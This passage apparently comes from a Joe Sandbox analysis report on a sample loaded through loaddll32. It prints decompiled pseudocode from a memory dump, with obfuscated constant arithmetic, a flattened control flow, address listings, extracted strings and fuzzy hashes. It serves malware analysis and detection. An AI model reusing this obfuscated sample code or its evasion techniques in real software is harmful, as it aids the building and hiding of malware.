				_v268 = _v268 | 0xbb4d6b52;
				_v268 = _v268 >> 5;
				_t795 = 0x18;
				_v268 = _v268 / _t795;
				_v268 = _v268 ^ 0x003fa9db;
				_v268 = 0xff1eaf;
				_v268 = _v268 << 8;
				_t796 = 0xa;
				_v268 = _v268 * 0x6c;
				_v268 = _v268 >> 0xc;
				_v268 = _v268 ^ 0x000cb5e2;
				_v260 = 0xc7e312;
				_v260 = _v260 | 0x4ced50b1;
				_v260 = _v260 ^ 0x4ce89335;
				_v260 = 0xaa4ecb;
				_v260 = _v260 << 0x10;
				_v260 = _v260 ^ 0x4ec443b3;
				_v264 = 0x38c20f;
				_v264 = _v264 >> 9;
				_v264 = _v264 | 0x7754c32c;
				_v264 = _v264 ^ 0x775a6c62;
				_v268 = 0xc43478;
				_v268 = _v268 * 0x54;
				_v268 = _v268 ^ 0x37dd0540;
				_v268 = _v268 + 0x34a3;
				_v268 = _v268 ^ 0x77bf44fd;
				_v268 = 0x77fa17;
				_v268 = _v268 + 0xffffb1ac;
				_v268 = _v268 * 0x73;
				_v268 = _v268 << 5;
				_v268 = _v268 ^ 0xb8444167;
				_v172 = 0x123f2b;
				_v172 = _v172 ^ 0x6fe657fb;
				_v172 = _v172 + 0x9431;
				_v172 = _v172 ^ 0x6ff55f0d;
				_v240 = 0xf43856;
				_v240 = _v240 + 0xffff5dae;
				_v240 = _v240 + 0xffff503f;
				_v240 = _v240 >> 5;
				_v240 = _v240 ^ 0x000ec78e;
				_v80 = 0x77a9f7;
				_v80 = _v80 << 0xa;
				_v80 = _v80 ^ 0xdeafa158;
				_v248 = 0x33c41a;
				_v248 = _v248 + 0xffffb1d0;
				_v248 = _v248 * 0x66;
				_v248 = _v248 << 9;
				_v248 = _v248 ^ 0x01f08429;
				_v216 = 0x461c40;
				_v216 = _v216 * 0x16;
				_v216 = _v216 >> 0xb;
				_v216 = _v216 / _t796;
				_v216 = _v216 ^ 0x0005571e;
				_v164 = 0x51d98c;
				_v164 = _v164 | 0x3f5455a1;
				_v164 = _v164 * 0x74;
				_v164 = _v164 ^ 0xb2e52dfc;
				_v108 = 0x44745a;
				_t314 =  &_v108; // 0x44745a
				_v108 =  *_t314 * 0x63;
				_v108 = _v108 + 0xffff8cf2;
				_v108 = _v108 ^ 0x1a7ba94f;
				_v40 = 0xed32ff;
				_v40 = _v40 + 0x1ad9;
				_v40 = _v40 ^ 0x00e55aa4;
				_v196 = 0x47b3fb;
				_v196 = _v196 >> 0xe;
				_v196 = _v196 ^ 0xd9c7612f;
				_v196 = _v196 ^ 0xa0a00898;
				_v196 = _v196 ^ 0x7960f230;
				_v180 = 0x538ee1;
				_v180 = _v180 >> 6;
				_v180 = _v180 | 0xecdb2f6f;
				_v180 = _v180 ^ 0xecd76c94;
				_v104 = 0x633234;
				_v104 = _v104 ^ 0xd30b5520;
				_v104 = _v104 | 0xe2e43f1e;
				_v104 = _v104 ^ 0xf3ed65d6;
				_v212 = 0xf9c0f6;
				_v212 = _v212 + 0x2d4a;
				_t797 = 6;
				_v212 = _v212 * 0x4f;
				_v212 = _v212 + 0x46b3;
				_v212 = _v212 ^ 0x4d2b61f6;
				_v100 = 0xc841ec;
				_v100 = _v100 * 0x22;
				_v100 = _v100 ^ 0x1a9d1048;
				_v28 = 0x65babf;
				_v28 = _v28 + 0xffff8486;
				_v28 = _v28 ^ 0x006f3125;
				_v256 = 0xbe5bf2;
				_v256 = _v256 + 0xc39e;
				_v256 = _v256 * 0xc;
				_v256 = _v256 / _t797;
				_v256 = _v256 ^ 0x01787995;
				_v72 = 0xd91fd7;
				_v72 = _v72 + 0x652d;
				_v72 = _v72 ^ 0x00d4f002;
				_v96 = 0xd13a07;
				_t798 = 0x60;
				_v96 = _v96 / _t798;
				_v96 = _v96 ^ 0x000707c2;
				_v20 = 0xffc8b7;
				_v20 = _v20 ^ 0x1e1e598a;
				_v20 = _v20 ^ 0x1ee18fe4;
				_v176 = 0xcdab5;
				_v176 = _v176 ^ 0x9598c7bd;
				_v176 = _v176 + 0xffff92b0;
				_v176 = _v176 ^ 0x959d0362;
				_v184 = 0xa758a4;
				_v184 = _v184 + 0x5903;
				_v184 = _v184 + 0xfffff609;
				_v184 = _v184 ^ 0x00ae750e;
				_v56 = 0xc83e02;
				_v56 = _v56 << 2;
				_v56 = _v56 ^ 0x0323bea3;
				_v76 = 0xad0f66;
				_v76 = _v76 >> 0x10;
				_v76 = _v76 ^ 0x00063244;
				_v84 = 0x39efa1;
				_v84 = _v84 ^ 0xb68855ee;
				_v84 = _v84 ^ 0xb6b61069;
				_v92 = 0xe02175;
				_v92 = _v92 | 0xb2c815a7;
				_v92 = _v92 ^ 0xb2e41d90;
				_v236 = 0x4481b2;
				_v236 = _v236 + 0x743f;
				_v236 = _v236 * 0x2f;
				_v236 = _v236 >> 0xf;
				_v236 = _v236 ^ 0x0006d55a;
				_v160 = 0xb9532c;
				_v160 = _v160 << 5;
				_v160 = _v160 * 0x49;
				_v160 = _v160 ^ 0x9b1801bc;
				_v244 = 0x1281ad;
				_v244 = _v244 + 0xa67d;
				_v244 = _v244 ^ 0x7c1b37b8;
				_v244 = _v244 + 0xffff20cb;
				_v244 = _v244 ^ 0x7c0b9163;
				_v192 = 0x88e24d;
				_v192 = _v192 ^ 0x2ebd1bb6;
				_v192 = _v192 / _t891;
				_v192 = _v192 ^ 0x006b6db3;
				_v68 = 0xd4274f;
				_t799 = 0x2e;
				_v68 = _v68 / _t799;
				_v68 = _v68 ^ 0x00048e69;
				_v144 = 0xb83dd4;
				_v144 = _v144 | 0xb8649d90;
				_v144 = _v144 + 0x9cab;
				_v144 = _v144 ^ 0xb8f32006;
				_v228 = 0x23b3be;
				_v228 = _v228 << 8;
				_v228 = _v228 + 0x2e9b;
				_v228 = _v228 + 0xffff8964;
				_v228 = _v228 ^ 0x23ba9bf9;
				_v264 = 0xe685de;
				_t800 = 0x37;
				_v264 = _v264 * 5;
				_v264 = _v264 << 3;
				_v264 = _v264 ^ 0x240c8630;
				_v44 = 0x14cbda;
				_v44 = _v44 + 0xffff3a4b;
				_v44 = _v44 ^ 0x0010602b;
				_v52 = 0x1a3334;
				_v52 = _v52 ^ 0x068d8d0f;
				_v52 = _v52 ^ 0x06918054;
				_v60 = 0xaf3d51;
				_v60 = _v60 + 0xffff6264;
				_v60 = _v60 ^ 0x00a9df53;
				_v200 = 0x71a8f9;
				_v200 = _v200 + 0x8847;
				_v200 = _v200 ^ 0x82b40171;
				_v200 = _v200 / _t800;
				_v200 = _v200 ^ 0x02617ea6;
				_v204 = 0x911bb9;
				_t801 = 0x35;
				_v204 = _v204 * 0x50;
				_v204 = _v204 + 0xffff59e3;
				_v204 = _v204 / _t801;
				_v204 = _v204 ^ 0x00d8a8d3;
				_v48 = 0x1e2b49;
				_v48 = _v48 + 0xffff0c75;
				_v48 = _v48 ^ 0x001a2795;
				_v168 = 0xc7820c;
				_t802 = 0x39;
				_v168 = _v168 / _t802;
				_v168 = _v168 + 0xffff4704;
				_v168 = _v168 ^ 0x0003986f;
				_v124 = 0x6bd51f;
				_v124 = _v124 << 0xc;
				_v124 = _v124 * 0x75;
				_v124 = _v124 ^ 0x8677d78d;
				_v112 = 0x5ede35;
				_v112 = _v112 << 0xe;
				_v112 = _v112 | 0xed99d87a;
				_v112 = _v112 ^ 0xff9c1971;
				_v140 = 0xd25fe4;
				_v140 = _v140 ^ 0x91b7fe4b;
				_t803 = 0x31;
				_v140 = _v140 * 0x59;
				_v140 = _v140 ^ 0x8c53baba;
				_v24 = 0x69dec7;
				_v24 = _v24 + 0xffff289d;
				_v24 = _v24 ^ 0x0068496e;
				_v268 = 0xfe2e0f;
				_v268 = _v268 + 0x26d8;
				_v268 = _v268 / _t803;
				_t804 = 0x1a;
				_v268 = _v268 / _t804;
				_v268 = _v268 ^ 0x000142e0;
				_v260 = 0xf9e36a;
				_v260 = _v260 | 0x3f41e488;
				_v260 = _v260 ^ 0x3ff084b0;
				_t900 = _v8;
				_t892 = _v8;
				while(1) {
					L1:
					_t757 = _v220;
					_t805 = 0x8b02343;
					while(1) {
						L2:
						_t874 = 0x1521ea4;
						while(1) {
							L3:
							_t904 = _t893 - 0x65b0c22;
							if(_t904 > 0) {
								goto L18;
							}
							L4:
							if(_t904 == 0) {
								E007A7B46(_t757, _v140, _v24);
								_t893 = 0x2386dfb;
								while(1) {
									L1:
									_t757 = _v220;
									_t805 = 0x8b02343;
									goto L2;
								}
							} else {
								if(_t893 == _t874) {
									_t757 = E007AF984(_v196, _t900, _t805, _t805, _v180, _t805, _v104, _a40, _t805, _v88, _v212, _a20, _v100, _v28);
									_t902 =  &(_t902[0xc]);
									_v220 = _t757;
									__eflags = _t757;
									_t805 = 0x8b02343;
									_t893 =  !=  ? 0x8b02343 : 0x2386dfb;
									goto L2;
								} else {
									if(_t893 == 0x15b98a1) {
										_t893 = 0x9ed2ff1;
										continue;
									} else {
										if(_t893 == 0x2386dfb) {
											E007A7B46(_t900, _v268, _v260);
										} else {
											if(_t893 == 0x4000434) {
												E007A7B46(_t892, _v124, _v112);
												_t893 = 0x65b0c22;
												while(1) {
													L1:
													_t757 = _v220;
													_t805 = 0x8b02343;
													goto L2;
												}
											} else {
												if(_t893 != 0x4250561) {
													L38:
													__eflags = _t893 - 0xc402532;
													if(_t893 != 0xc402532) {
														_t757 = _v220;
														continue;
													}
												} else {
													_t823 = _v4;
													if( *_t823 == 0) {
														_t769 = 0;
														__eflags = 0;
													} else {
														_t769 =  *((intOrPtr*)(_t823 + 4));
													}
													E007BD4B7(_v200, _t892, _v204, _t823, _t769, _a8, _v48, _v168,  *_t823);
													_t902 =  &(_t902[7]);
													asm("sbb esi, esi");
													_t893 = (_t893 & 0x06f981ef) + 0x4000434;
													while(1) {
														L1:
														_t757 = _v220;
														_t805 = 0x8b02343;
														L2:
														_t874 = 0x1521ea4;
														while(1) {
															L3:
															_t904 = _t893 - 0x65b0c22;
															if(_t904 > 0) {
																goto L18;
															}
															goto L4;
														}
														goto L18;
													}
												}
											}
										}
									}
								}
							}
							L41:
							return _t786;
							L18:
							__eflags = _t893 - _t805;
							if(_t893 == _t805) {
								__eflags =  *_v4;
								if(__eflags == 0) {
									_t759 = _v12;
								} else {
									_push(0x7a1178);
									_v12 = E007C0AD3(_v256, _v72, __eflags);
								}
								_t814 = _v16 | _v224 | _v252 | _v64 | _v32 | _v156 | _v116 | _v148 | _v188;
								_t895 = _a36 & 1;
								__eflags = _t895;
								if(_t895 != 0) {
									__eflags = _t814;
								}
								_t892 = E007BE70C(_t814, 1, _v96, _v20, _t814, _v176, _t814, _v184, _v220, _t814, _v56, _a28, _t759);
								E007B2EED(_v76, _v84, _v92, _v12);
								_t902 =  &(_t902[0xd]);
								__eflags = _t892;
								if(_t892 == 0) {
									_t893 = 0x65b0c22;
									goto L37;
								} else {
									_v36 = 1;
									E007AD7E2(_t892,  &_v36, 4, _v236, _v152, _v160, _v244, _v192);
									_t902 =  &(_t902[6]);
									__eflags = _t895;
									if(_t895 != 0) {
										E007B5F7D(_v68, _t892,  &_v8, _v136, _v144, _v228,  &_v36);
										_t684 =  &_v36;
										 *_t684 = _v36 | _v128;
										__eflags =  *_t684;
										E007AD7E2(_t892,  &_v36, _v8, _v264, _v120, _v44, _v52, _v60);
										_t902 =  &(_t902[0xb]);
									}
									_t893 = 0x4250561;
									goto L1;
								}
							} else {
								__eflags = _t893 - 0x93954fc;
								if(_t893 == 0x93954fc) {
									__eflags = E007B5B7C(_t892, _a16);
									_t893 = 0x4000434;
									_t765 = 1;
									_t786 =  !=  ? _t765 : _t786;
									while(1) {
										L1:
										_t757 = _v220;
										_t805 = 0x8b02343;
										goto L2;
									}
								} else {
									__eflags = _t893 - 0x9ed2ff1;
									if(_t893 == 0x9ed2ff1) {
										_t893 = 0xdffbe0d;
										continue;
									} else {
										__eflags = _t893 - 0xaf98623;
										if(__eflags == 0) {
											__eflags = E007C314A(_t892, _v232, __eflags) - _v132;
											_t893 =  ==  ? 0x93954fc : 0x4000434;
											while(1) {
												L1:
												_t757 = _v220;
												_t805 = 0x8b02343;
												goto L2;
											}
										} else {
											__eflags = _t893 - 0xdffbe0d;
											if(_t893 == 0xdffbe0d) {
												_push(_t805);
												_t775 = E007B02E9(_v172, _v240, _v80, _t805, _t805, _v208, _t805, _v248);
												_t900 = _t775;
												__eflags = _t775;
												_t893 =  !=  ? 0x1521ea4 : 0xc402532;
												E007AF699(_v216, 0, _v164, _v108, _v40);
												_t902 =  &(_t902[0xa]);
												L37:
												_t874 = 0x1521ea4;
												_t805 = 0x8b02343;
											}
											goto L38;
										}
									}
								}
							}
							goto L41;
						}
					}
				}
			}

0x007a997d
0x007a9987
0x007a998e
0x007a9995
0x007a999c
0x007a99a3
0x007a99aa
0x007a99ab
0x007a99b2
0x007a99b9
0x007a99c0
0x007a99c7
0x007a99c9
0x007a99ce
0x007a99d8
0x007a99dd
0x007a99e0
0x007a99ea
0x007a99f2
0x007a99f4
0x007a99fc
0x007a9a01
0x007a9a06
0x007a9a0e
0x007a9a16
0x007a9a1e
0x007a9a29
0x007a9a34
0x007a9a3f
0x007a9a4a
0x007a9a52
0x007a9a57
0x007a9a65
0x007a9a68
0x007a9a6c
0x007a9a74
0x007a9a7f
0x007a9a8a
0x007a9a95
0x007a9aa0
0x007a9ab6
0x007a9abd
0x007a9ac8
0x007a9ad3
0x007a9ae6
0x007a9ae9
0x007a9aea
0x007a9af1
0x007a9af9
0x007a9b04
0x007a9b1a
0x007a9b21
0x007a9b2c
0x007a9b40
0x007a9b47
0x007a9b52
0x007a9b5f
0x007a9b63
0x007a9b74
0x007a9b77
0x007a9b7b
0x007a9b83
0x007a9b8b
0x007a9b9b
0x007a9b9f
0x007a9ba4
0x007a9bac
0x007a9bb7
0x007a9bbe
0x007a9bc9
0x007a9bd1
0x007a9bd6
0x007a9bdb
0x007a9be0
0x007a9be5
0x007a9bf7
0x007a9bfc
0x007a9c05
0x007a9c10
0x007a9c1b
0x007a9c26
0x007a9c31
0x007a9c3c
0x007a9c47
0x007a9c52
0x007a9c5d
0x007a9c68
0x007a9c73
0x007a9c7e
0x007a9c89
0x007a9c94
0x007a9c9f
0x007a9caa
0x007a9cb5
0x007a9cc1
0x007a9cc6
0x007a9cd0
0x007a9cd5
0x007a9cdb
0x007a9ce3
0x007a9cef
0x007a9cf2
0x007a9cf6
0x007a9cfe
0x007a9d06
0x007a9d0e
0x007a9d13
0x007a9d18
0x007a9d20
0x007a9d28
0x007a9d32
0x007a9d36
0x007a9d3e
0x007a9d46
0x007a9d4b
0x007a9d50
0x007a9d58
0x007a9d60
0x007a9d6a
0x007a9d72
0x007a9d7d
0x007a9d82
0x007a9d88
0x007a9d90
0x007a9d98
0x007a9da2
0x007a9da3
0x007a9da7
0x007a9dac
0x007a9db4
0x007a9dbc
0x007a9dc4
0x007a9dcc
0x007a9dd4
0x007a9dd9
0x007a9de1
0x007a9de9
0x007a9dee
0x007a9df6
0x007a9dfe
0x007a9e0b
0x007a9e0f
0x007a9e17
0x007a9e1f
0x007a9e27
0x007a9e2f
0x007a9e3c
0x007a9e40
0x007a9e45
0x007a9e4d
0x007a9e55
0x007a9e5d
0x007a9e65
0x007a9e6d
0x007a9e75
0x007a9e7d
0x007a9e85
0x007a9e8a
0x007a9e92
0x007a9e9d
0x007a9ea5
0x007a9eb0
0x007a9eb8
0x007a9ec5
0x007a9ec9
0x007a9ece
0x007a9ed6
0x007a9ee3
0x007a9ee7
0x007a9ef2
0x007a9ef6
0x007a9efe
0x007a9f06
0x007a9f13
0x007a9f17
0x007a9f1f
0x007a9f2a
0x007a9f32
0x007a9f39
0x007a9f44
0x007a9f4f
0x007a9f5a
0x007a9f65
0x007a9f70
0x007a9f78
0x007a9f7f
0x007a9f87
0x007a9f8f
0x007a9f97
0x007a9f9f
0x007a9fa4
0x007a9fac
0x007a9fb4
0x007a9fbf
0x007a9fca
0x007a9fd5
0x007a9fe0
0x007a9fe8
0x007a9ff7
0x007a9ffa
0x007a9ffe
0x007aa006
0x007aa00e
0x007aa021
0x007aa028
0x007aa033
0x007aa03e
0x007aa049
0x007aa054
0x007aa05c
0x007aa069
0x007aa075
0x007aa079
0x007aa081
0x007aa08c
0x007aa097
0x007aa0a2
0x007aa0b4
0x007aa0b7
0x007aa0be
0x007aa0c9
0x007aa0d4
0x007aa0df
0x007aa0ea
0x007aa0f2
0x007aa0fa
0x007aa102
0x007aa10a
0x007aa112
0x007aa11a
0x007aa122
0x007aa12a
0x007aa135
0x007aa13d
0x007aa148
0x007aa153
0x007aa15b
0x007aa166
0x007aa171
0x007aa17c
0x007aa187
0x007aa192
0x007aa19d
0x007aa1a8
0x007aa1b0
0x007aa1bd
0x007aa1c1
0x007aa1c6
0x007aa1ce
0x007aa1d6
0x007aa1e0
0x007aa1e4
0x007aa1ec
0x007aa1f6
0x007aa1fe
0x007aa206
0x007aa20e
0x007aa216
0x007aa21e
0x007aa22e
0x007aa234
0x007aa23c
0x007aa24e
0x007aa253
0x007aa25c
0x007aa267
0x007aa272
0x007aa27d
0x007aa288
0x007aa293
0x007aa29b
0x007aa2a0
0x007aa2a8
0x007aa2b0
0x007aa2b8
0x007aa2c5
0x007aa2c8
0x007aa2cc
0x007aa2d1
0x007aa2d9
0x007aa2e4
0x007aa2ef
0x007aa2fa
0x007aa305
0x007aa310
0x007aa31b
0x007aa326
0x007aa331
0x007aa33c
0x007aa344
0x007aa34c
0x007aa35c
0x007aa360
0x007aa368
0x007aa375
0x007aa378
0x007aa37c
0x007aa38c
0x007aa390
0x007aa398
0x007aa3a3
0x007aa3ae
0x007aa3b9
0x007aa3c5
0x007aa3c8
0x007aa3cc
0x007aa3d4
0x007aa3dc
0x007aa3e7
0x007aa3f7
0x007aa3fe
0x007aa409
0x007aa416
0x007aa41e
0x007aa429
0x007aa434
0x007aa43f
0x007aa454
0x007aa457
0x007aa45e
0x007aa469
0x007aa474
0x007aa47f
0x007aa48a
0x007aa492
0x007aa4a2
0x007aa4aa
0x007aa4ad
0x007aa4b1
0x007aa4b9
0x007aa4c1
0x007aa4c9
0x007aa4d1
0x007aa4d8
0x007aa4df
0x007aa4df
0x007aa4df
0x007aa4e3
0x007aa4e8
0x007aa4e8
0x007aa4e8
0x007aa4ed
0x007aa4ed
0x007aa4ed
0x007aa4f3
0x00000000
0x00000000
0x007aa4f9
0x007aa4f9
0x007aa61f
0x007aa625
0x007aa4df
0x007aa4df
0x007aa4df
0x007aa4e3
0x00000000
0x007aa4e3
0x007aa4ff
0x007aa501
0x007aa5ef
0x007aa5f4
0x007aa5f7
0x007aa5fb
0x007aa602
0x007aa607
0x00000000
0x007aa507
0x007aa50d
0x007aa5a3
0x00000000
0x007aa513
0x007aa519
0x007aa8d5
0x007aa51f
0x007aa525
0x007aa593
0x007aa599
0x007aa4df
0x007aa4df
0x007aa4df
0x007aa4e3
0x00000000
0x007aa4e3
0x007aa527
0x007aa52d
0x007aa8ba
0x007aa8ba
0x007aa8c0
0x007aa8c2
0x00000000
0x007aa8c2
0x007aa533
0x007aa533
0x007aa53d
0x007aa544
0x007aa544
0x007aa53f
0x007aa53f
0x007aa53f
0x007aa566
0x007aa56b
0x007aa570
0x007aa578
0x007aa4df
0x007aa4df
0x007aa4df
0x007aa4e3
0x007aa4e8
0x007aa4e8
0x007aa4ed
0x007aa4ed
0x007aa4ed
0x007aa4f3
0x00000000
0x00000000
0x00000000
0x007aa4f3
0x00000000
0x007aa4ed
0x007aa4df
0x007aa52d
0x007aa525
0x007aa519
0x007aa50d
0x007aa501
0x007aa8de
0x007aa8e7
0x007aa62f
0x007aa62f
0x007aa631
0x007aa718
0x007aa71b
0x007aa73c
0x007aa71d
0x007aa728
0x007aa733
0x007aa733
0x007aa77f
0x007aa783
0x007aa783
0x007aa785
0x007aa787
0x007aa787
0x007aa7c1
0x007aa7e0
0x007aa7e5
0x007aa7e8
0x007aa7ea
0x007aa8ab
0x00000000
0x007aa7f0
0x007aa80b
0x007aa81f
0x007aa824
0x007aa827
0x007aa829
0x007aa856
0x007aa870
0x007aa870
0x007aa870
0x007aa899
0x007aa89e
0x007aa89e
0x007aa8a1
0x00000000
0x007aa8a1
0x007aa637
0x007aa637
0x007aa63d
0x007aa6ff
0x007aa701
0x007aa708
0x007aa709
0x007aa4df
0x007aa4df
0x007aa4df
0x007aa4e3
0x00000000
0x007aa4e3
0x007aa643
0x007aa643
0x007aa649
0x007aa6e7
0x00000000
0x007aa64f
0x007aa64f
0x007aa655
0x007aa6d8
0x007aa6df
0x007aa4df
0x007aa4df
0x007aa4df
0x007aa4e3
0x00000000
0x007aa4e3
0x007aa657
0x007aa657
0x007aa65d
0x007aa663
0x007aa681
0x007aa68d
0x007aa69b
0x007aa6ad
0x007aa6b2
0x007aa6b7
0x007aa8b0
0x007aa8b0
0x007aa8b5
0x007aa8b5
0x00000000
0x007aa65d
0x007aa655
0x007aa649
0x007aa63d
0x00000000
0x007aa631
0x007aa4ed
0x007aa4e8

Strings

?t, xrefs: 007AA1B0
-e, xrefs: 007AA08C
M&, xrefs: 007A9D3E
%1o, xrefs: 007AA049
e4K, xrefs: 007A9C94
Kx, xrefs: 007A9BAC
J-, xrefs: 007A9FE8
10x, xrefs: 007A9A4A
1-l, xrefs: 007A9C1B
ZtD, xrefs: 007A9F2A
u!, xrefs: 007AA187
blZw, xrefs: 007A9DF6
nIh, xrefs: 007AA47F
42c, xrefs: 007A9FB4
Lj@, xrefs: 007A9AC8

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: %1o$-e$1-l$10x$42c$?t$J-$Kx$Lj@$M&$ZtD$blZw$e4K$nIh$u!
API String ID: 0-4213897193
Opcode ID: 2cf8198eb772db6670362114799402ad78887954a645fb990d4a42466c4c108d
Instruction ID: dcae36f4057f667cb7c523700223f4a98e03e6fe0b7e0bf6cd7091326ca31adc
Opcode Fuzzy Hash: 2cf8198eb772db6670362114799402ad78887954a645fb990d4a42466c4c108d
Instruction Fuzzy Hash: 90721EB1508381DFD378CF25C54AA9BBBE2BBC4704F108A1DE5DA96260D7B48949CF93

Uniqueness

Uniqueness Score: -1.00%

Function 007A6BFE, Relevance: 18.0, Strings: 14, Instructions: 484
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E007A6BFE(void* __ecx) {
				char _v524;
				char _v1044;
				char _v1564;
				intOrPtr _v1576;
				char _v1580;
				signed int _v1584;
				signed int _v1588;
				signed int _v1592;
				signed int _v1596;
				signed int _v1600;
				signed int _v1604;
				signed int _v1608;
				signed int _v1612;
				signed int _v1616;
				signed int _v1620;
				signed int _v1624;
				signed int _v1628;
				signed int _v1632;
				signed int _v1636;
				signed int _v1640;
				signed int _v1644;
				signed int _v1648;
				signed int _v1652;
				signed int _v1656;
				signed int _v1660;
				signed int _v1664;
				signed int _v1668;
				signed int _v1672;
				signed int _v1676;
				signed int _v1680;
				signed int _v1684;
				signed int _v1688;
				signed int _v1692;
				signed int _v1696;
				signed int _v1700;
				signed int _v1704;
				signed int _v1708;
				signed int _v1712;
				signed int _v1716;
				signed int _v1720;
				signed int _v1724;
				signed int _v1728;
				signed int _v1732;
				signed int _v1736;
				signed int _v1740;
				signed int _v1744;
				signed int _v1748;
				signed int _v1752;
				signed int _v1756;
				signed int _v1760;
				signed int _v1764;
				signed int _v1768;
				signed int _v1772;
				signed int _v1776;
				unsigned int _v1780;
				signed int _v1784;
				signed int _v1788;
				signed int _v1792;
				signed int _v1796;
				signed int _v1800;
				void* _t556;
				void* _t560;
				void* _t564;
				short* _t570;
				void* _t577;
				void* _t579;
				void* _t583;
				signed int _t585;
				signed int _t586;
				signed int _t587;
				signed int _t588;
				signed int _t589;
				signed int _t590;
				signed int _t591;
				signed int _t592;
				signed int _t593;
				signed int _t594;
				signed int _t595;
				signed int _t596;
				void* _t597;
				signed int _t660;
				signed int _t661;
				void* _t663;
				void* _t668;
				intOrPtr* _t671;

				_v1584 = _v1584 & 0x00000000;
				_v1624 = 0xcd6a8e;
				_v1624 = _v1624 ^ 0x59f85b52;
				_v1624 = _v1624 ^ 0x5b3531dc;
				_v1780 = 0x153796;
				_v1780 = _v1780 ^ 0xa8923899;
				_v1780 = _v1780 | 0xac28b23c;
				_v1780 = _v1780 >> 0xd;
				_v1780 = _v1780 ^ 0x0003c082;
				_v1632 = 0x568d1d;
				_v1632 = _v1632 << 0xf;
				_v1632 = _v1632 ^ 0x468ec217;
				_v1616 = 0x9d4355;
				_t660 = 0x37;
				_t583 = __ecx;
				_v1616 = _v1616 / _t660;
				_t663 = 0x4a96617;
				_v1616 = _v1616 ^ 0x0000359d;
				_v1724 = 0x93f9c3;
				_v1724 = _v1724 << 2;
				_v1724 = _v1724 | 0x87fdad86;
				_v1724 = _v1724 ^ 0x87f5a7af;
				_v1772 = 0x86acb0;
				_t585 = 0x4f;
				_v1772 = _v1772 / _t585;
				_v1772 = _v1772 | 0x63c36736;
				_t586 = 0x5d;
				_v1772 = _v1772 * 0x4d;
				_v1772 = _v1772 ^ 0x01fd54a9;
				_v1708 = 0x504327;
				_v1708 = _v1708 << 6;
				_v1708 = _v1708 | 0x5b079a0f;
				_v1708 = _v1708 ^ 0x5f1f0ea3;
				_v1744 = 0x483dfe;
				_v1744 = _v1744 + 0x7962;
				_v1744 = _v1744 | 0x8f7a93af;
				_v1744 = _v1744 * 0x5e;
				_v1744 = _v1744 ^ 0xaf0ce591;
				_v1604 = 0xf324fc;
				_v1604 = _v1604 / _t586;
				_v1604 = _v1604 ^ 0x000117e7;
				_v1660 = 0x9b0ff3;
				_v1660 = _v1660 + 0xffff7fbd;
				_v1660 = _v1660 ^ 0x00946493;
				_v1768 = 0xe3e80;
				_v1768 = _v1768 + 0xffff3949;
				_v1768 = _v1768 ^ 0xcc667bab;
				_v1768 = _v1768 + 0xd761;
				_v1768 = _v1768 ^ 0xcc67c94c;
				_v1752 = 0x1ba7c7;
				_v1752 = _v1752 << 0xf;
				_v1752 = _v1752 / _t586;
				_v1752 = _v1752 ^ 0x0243af98;
				_v1636 = 0x20ffac;
				_v1636 = _v1636 << 5;
				_v1636 = _v1636 ^ 0x041b5824;
				_v1776 = 0x20e7b6;
				_v1776 = _v1776 + 0xdc4;
				_v1776 = _v1776 | 0x16692bc6;
				_v1776 = _v1776 + 0x1ef8;
				_v1776 = _v1776 ^ 0x166ead91;
				_v1588 = 0x5bcce1;
				_v1588 = _v1588 | 0xb1f42707;
				_v1588 = _v1588 ^ 0xb1f41bbe;
				_v1684 = 0x5005f4;
				_v1684 = _v1684 >> 5;
				_v1684 = _v1684 ^ 0x68e867d5;
				_v1684 = _v1684 ^ 0x68ed1d21;
				_v1628 = 0xdd4ed7;
				_v1628 = _v1628 << 0xc;
				_v1628 = _v1628 ^ 0xd4ef0c19;
				_v1800 = 0xcc2fe4;
				_t587 = 0x3d;
				_v1800 = _v1800 * 0x46;
				_v1800 = _v1800 ^ 0xccee4be8;
				_v1800 = _v1800 * 0x49;
				_v1800 = _v1800 ^ 0xa3e0a4c2;
				_v1668 = 0xdcf195;
				_v1668 = _v1668 + 0xffff5a5b;
				_v1668 = _v1668 ^ 0xaadb988a;
				_v1668 = _v1668 ^ 0xaa04b3de;
				_v1592 = 0xdb2eec;
				_v1592 = _v1592 | 0x5f830210;
				_v1592 = _v1592 ^ 0x5fd6e991;
				_v1700 = 0xcdaeb9;
				_v1700 = _v1700 + 0xa9d8;
				_v1700 = _v1700 + 0xb66f;
				_v1700 = _v1700 ^ 0x00c60899;
				_v1796 = 0xd07ac;
				_v1796 = _v1796 << 6;
				_v1796 = _v1796 + 0x6d81;
				_v1796 = _v1796 * 0x18;
				_v1796 = _v1796 ^ 0x4e3f386b;
				_v1612 = 0x56009b;
				_v1612 = _v1612 ^ 0x384c4bff;
				_v1612 = _v1612 ^ 0x381ba556;
				_v1600 = 0xf7e143;
				_v1600 = _v1600 / _t587;
				_v1600 = _v1600 ^ 0x00074027;
				_v1620 = 0xd026e5;
				_v1620 = _v1620 >> 7;
				_v1620 = _v1620 ^ 0x00091c5b;
				_v1640 = 0x4702c1;
				_t588 = 0x52;
				_v1640 = _v1640 / _t588;
				_v1640 = _v1640 ^ 0x0006a1c4;
				_v1648 = 0xc8140a;
				_v1648 = _v1648 + 0xffff0435;
				_v1648 = _v1648 ^ 0x00ca5ae3;
				_v1656 = 0x723f7d;
				_v1656 = _v1656 + 0xba41;
				_v1656 = _v1656 ^ 0x007ca4fd;
				_v1788 = 0x69db09;
				_v1788 = _v1788 + 0xf504;
				_v1788 = _v1788 * 0x65;
				_v1788 = _v1788 | 0x879c6e6e;
				_v1788 = _v1788 ^ 0xafb716ae;
				_v1792 = 0xdee7b0;
				_v1792 = _v1792 | 0x7d73bff1;
				_v1792 = _v1792 << 0xe;
				_v1792 = _v1792 ^ 0xfff81f60;
				_v1692 = 0xc3b6fe;
				_v1692 = _v1692 | 0x6405c425;
				_v1692 = _v1692 >> 0xd;
				_v1692 = _v1692 ^ 0x0005bb30;
				_v1736 = 0x36de01;
				_v1736 = _v1736 + 0x1e5d;
				_t589 = 0x1f;
				_v1736 = _v1736 / _t589;
				_t590 = 5;
				_v1736 = _v1736 / _t590;
				_v1736 = _v1736 ^ 0x00008f60;
				_v1644 = 0x7c75;
				_v1644 = _v1644 + 0x24e8;
				_v1644 = _v1644 ^ 0x000a8631;
				_v1704 = 0x776f2f;
				_v1704 = _v1704 | 0x27015ef2;
				_v1704 = _v1704 >> 1;
				_v1704 = _v1704 ^ 0x13ba9814;
